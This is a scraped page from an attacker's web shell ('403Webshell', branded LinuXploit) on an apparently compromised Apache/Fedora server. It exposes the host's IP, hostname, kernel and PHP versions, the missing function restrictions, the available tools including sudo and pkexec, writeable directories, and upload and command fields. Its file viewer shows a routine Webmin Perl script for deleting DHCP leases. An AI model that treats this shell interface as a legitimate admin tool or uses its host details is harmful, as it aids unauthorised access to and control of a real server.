403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/13386/root/usr/libexec/webmin/dhcpd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/13386/root/usr/libexec/webmin/dhcpd/delete_leases.cgi
#!/usr/bin/perl
# Delete multiple leases

require './dhcpd-lib.pl';
&ReadParse();

%access = &get_module_acl();
&error_setup($text{'listl_err'});
if( !($access{'w_leases'} && $access{'r_leases'}) ) {
	&error("$text{'eacl_np'} $text{'eacl_pdl'}");
	}       
@d = split(/\0/, $in{'d'});
@d || &error($text{'listl_enone'});

# Find the leases to remove
&tokenize_file($config{'lease_file'}, \@tok);
$i = $j = 0;
while($i < @tok) {
	$lease = &parse_struct(\@tok, \$i, $j++, $config{'lease_file'});
	if (&indexof($lease->{'index'}, @d) >= 0) {
		push(@todelete, $lease);
		}
	}

# Delete them, in reverse order so that line numbers aren't messed up
&lock_file($config{'lease_file'});
$lref = &read_file_lines($config{'lease_file'});
foreach $lease (reverse(@todelete)) {
	splice(@$lref, $lease->{'line'},
	       $lease->{'eline'} - $lease->{'line'} + 1);
	}
&flush_file_lines($config{'lease_file'});
&unlock_file($config{'lease_file'});

&restart_dhcpd();
&webmin_log("delete", "lease", $lease->{'values'}->[0]);
&redirect("list_leases.cgi?all=$in{'all'}&network=$in{'network'}&netmask=$in{'netmask'}");


Youez - 2016 - github.com/yon3zu
LinuXploit